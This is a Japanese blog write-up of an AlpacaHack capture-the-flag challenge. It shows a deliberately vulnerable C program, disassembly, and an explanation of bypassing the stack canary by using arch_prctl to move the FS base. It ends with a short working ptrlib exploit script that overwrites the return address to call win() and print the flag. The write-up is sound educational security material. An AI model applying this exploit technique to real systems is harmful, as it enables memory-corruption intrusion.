おはようございます。AI slopperです。 日々、slopperの自覚があるので、AlpacaHackの問題を解くときはAIを使わないことにしています。 もちろんこのブログの文章を書くときも、そうしています。
現在朝の4時58分なのですが、外を見てみるとまだ暗いので、秋になったなあと感じます。 大学のタスクに追われたり、仕事のタスクに追われたり、サークル運営(こちらはコミットできているか怪しいです。すみません…)に追われたりしています。
概要

ソースコードを以下に示します。
// gcc -o chal chal.c -no-pie
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <asm/prctl.h>
void __attribute__((__used__)) win(void) {
char *argv[] = {"/bin/cat", "/flag.txt", NULL};
syscall(SYS_execve, argv[0], argv, NULL);
}
void vuln(void) {
char buf[8] = {0};
write(STDOUT_FILENO, "Please leave a message> ", 24);
read(STDIN_FILENO, buf, 32);
}
int main(void) {
write(STDOUT_FILENO, "fsbase(-1 for testing a default vuln behavior): ", 48);
char buf[32] = {0};
read(STDIN_FILENO, buf, sizeof(buf) - 1);
unsigned long fsbase = strtoul(buf, NULL, 10);
int result = syscall(SYS_arch_prctl, ARCH_SET_FS, fsbase);
if (result < 0) {
write(STDOUT_FILENO, "arch_prctl failed.\n", 19);
}
vuln();
}
win関数を呼べればよいです。vuln関数で自明にBOFができますが、stack canaryが有効なので、stack BOFをするとプログラムが強制終了します。そこで、main関数でfsbaseという値が調整できるようになっています。
短いので先に解き方から簡潔に説明します。
攻撃
stack canaryの説明
vuln関数の後半について、disassembleすると以下のような命令があります。
0x0000000000401278 <+83>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040127c <+87>: sub rax,QWORD PTR fs:0x28
0x0000000000401285 <+96>: je 0x40128c <vuln+103>
0x0000000000401287 <+98>: call 0x401090 <__stack_chk_fail@plt>
0x000000000040128c <+103>: leave
0x000000000040128d <+104>: ret
__stack_chk_fail@pltというのが、stack BOFが検知されたときにプログラムを落とす処理ですね。ここに飛ばれないためには、ローカル変数[rbp-0x8]と、thread-local storage(TLS)のデータfs:0x28を一致させる必要があります。
これらの値は、普通は一致します。以下に示すように、vuln関数の最初の部分を見ると、[rbp-0x8]にfs:0x28の値を代入しており、その後[rbp-0x8]を触るような処理はないからです(当然、fs:0x28を触るような処理もありません)。
0x0000000000401225 <+0>: endbr64
0x0000000000401229 <+4>: push rbp
0x000000000040122a <+5>: mov rbp,rsp
0x000000000040122d <+8>: sub rsp,0x10
0x0000000000401231 <+12>: mov rax,QWORD PTR fs:0x28
0x000000000040123a <+21>: mov QWORD PTR [rbp-0x8],rax
ripレジスタ(やsaved rbp)が書き換えられるようなstack BOFをすると[rbp-0x8]が書き換えられてしまうので、値の不一致が起きてstack BOFが検知される、ということです。fs:0x28の値はランダムで、攻撃者からは予測できません。
stack canaryの恣意的な変更
stack canaryをbypassする方法として、何らかの方法を用いてstack canaryをリークしてから、BOFするときに[rbp-0x8]がfs:0x28に一致するようなpayloadを送るという方法があります。
(他にも方法はありますが)もう一つの方法としてfs:0x28を[rbp-0x8]と一致するように書き換えるというものがあり、今回はこの方法を用います。
あとで理由を述べますが、結論から言うとfs:0x28の値とは、main関数におけるfsbaseを用いると[fsbase + 0x28]と表現でき、fsbaseを書き換えることで、fs:0x28が参照するアドレスを書き換えられます。
例えばfsbaseを、fsbase + 0x28が適当な.dataセクションのNULバイトで初期化されているような場所に設定しておき、payloadは[rbp-0x8]にNULバイトが来るように構築してあげると、防御機構に引っかかりません。
PIEがないのでアドレスをリークする必要はないです。例えば以下のようなプログラムでwin関数を呼ぶことができます。
from ptrlib import *
win = 0x4011b6
io = Socket("server!! 37571")
payload = b"A"*8
payload += b"\x00"*8
payload += b"A"*8
payload += p64(win)
io.sendafter(": ", str(0x404038))
io.sendlineafter("> ", payload)
print(io.recvline().decode())
FS baseについてもう少し詳しく
FSとはセグメントレジスタの一つです。セグメントレジスタとは、メモリ領域(segment)を指定するために使われていたレジスタです。実はこれはx86での用途で、x86-64ではセグメントレジスタの役割の多くが失われていますが、FSとGSについてはbase addressを使ったアドレス指定が残っています。
Linux x86-64のシステムでは、FS baseはthread-local storage(TLS)といったスレッド固有のデータを参照するために使われています1。
TLSにstack canaryを置くことで、各スレッドから固定のoffsetで高速に参照できるので便利です。
そのFS baseを、arch_prctlというシステムコールで変更できるというわけです。
stack canaryは、FS baseからの相対位置に置かれています。
したがって、FS baseを変更すると、fs:0x28という同じアクセスでも、実際に参照されるアドレスであるfsbase + 0x28が変わります。